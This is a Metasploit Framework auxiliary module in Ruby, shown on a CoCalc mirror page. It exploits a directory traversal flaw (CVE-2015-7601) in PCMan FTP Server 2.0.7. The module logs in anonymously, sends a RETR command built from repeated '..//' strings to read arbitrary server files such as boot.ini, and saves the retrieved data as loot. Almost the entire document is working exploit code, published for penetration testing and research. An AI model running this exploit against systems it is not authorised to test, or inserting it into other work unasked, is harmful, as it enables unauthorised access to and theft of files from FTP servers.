Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Ftp
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure',
16
'Description' => %q{
17
This module exploits a directory traversal vulnerability found in PCMan FTP Server 2.0.7.
18
This vulnerability allows an attacker to download arbitrary files from the server by crafting
19
a RETR command that includes file system traversal strings such as '..//'
20
},
21
'Platform' => 'win',
22
'Author' => [
23
'Jay Turla', # @shipcod3, msf and initial discovery
24
'James Fitts', # initial discovery
25
'Brad Wolfe <brad.wolfe[at]gmail.com>'
26
],
27
'License' => MSF_LICENSE,
28
'References' => [
29
[ 'EDB', '38340'],
30
[ 'CVE', '2015-7601']
31
],
32
'DisclosureDate' => '2015-09-28',
33
'Notes' => {
34
'Reliability' => UNKNOWN_RELIABILITY,
35
'Stability' => UNKNOWN_STABILITY,
36
'SideEffects' => UNKNOWN_SIDE_EFFECTS
37
}
38
)
39
)
40
41
register_options(
42
[
43
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
44
OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])
45
]
46
)
47
end
48
49
def check_host(ip)
50
begin
51
connect
52
if /220 PCMan's FTP Server 2\.0/i === banner
53
return Exploit::CheckCode::Appears
54
end
55
ensure
56
disconnect
57
end
58
59
Exploit::CheckCode::Safe
60
end
61
62
def run_host(target_host)
63
begin
64
# Login anonymously and open the socket that we'll use for data retrieval.
65
connect_login
66
sock = data_connect
67
if sock.nil?
68
error_msg = __FILE__ << '::' << __method__.to_s << ':' << 'data_connect failed; possible invalid response'
69
print_status(error_msg)
70
elog(error_msg)
71
else
72
file_path = datastore['PATH']
73
file = ::File.basename(file_path)
74
75
# make RETR request and store server response message...
76
retr_cmd = ("..//" * datastore['DEPTH']) + "#{file_path}"
77
res = send_cmd(["RETR", retr_cmd])
78
79
# read the file data from the socket that we opened
80
# dont assume theres still a sock to read from. Per #7582
81
if sock.nil?
82
error_msg = __FILE__ << '::' << __method__.to_s << ':' << 'data_connect failed; possible invalid response'
83
print_status(error_msg)
84
elog(error_msg)
85
return
86
else
87
# read the file data from the socket that we opened
88
response_data = sock.read(1024)
89
end
90
91
unless response_data
92
print_error("#{file_path} not found")
93
return
94
end
95
96
if response_data.length == 0 or !(res =~ /^150/)
97
print_status("File (#{file_path})from #{peer} is empty...")
98
return
99
end
100
101
# store file data to loot
102
loot_file = store_loot("pcman.ftp.data", "text", rhost, response_data, file, file_path)
103
vprint_status("Data returned:\n")
104
vprint_line(response_data)
105
print_good("Stored #{file_path} to #{loot_file}")
106
end
107
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
108
vprint_error(e.message)
109
elog(e)
110
rescue ::Timeout::Error, ::Errno::EPIPE => e
111
vprint_error(e.message)
112
elog(e)
113
ensure
114
data_disconnect
115
disconnect
116
end
117
end
118
end
119
120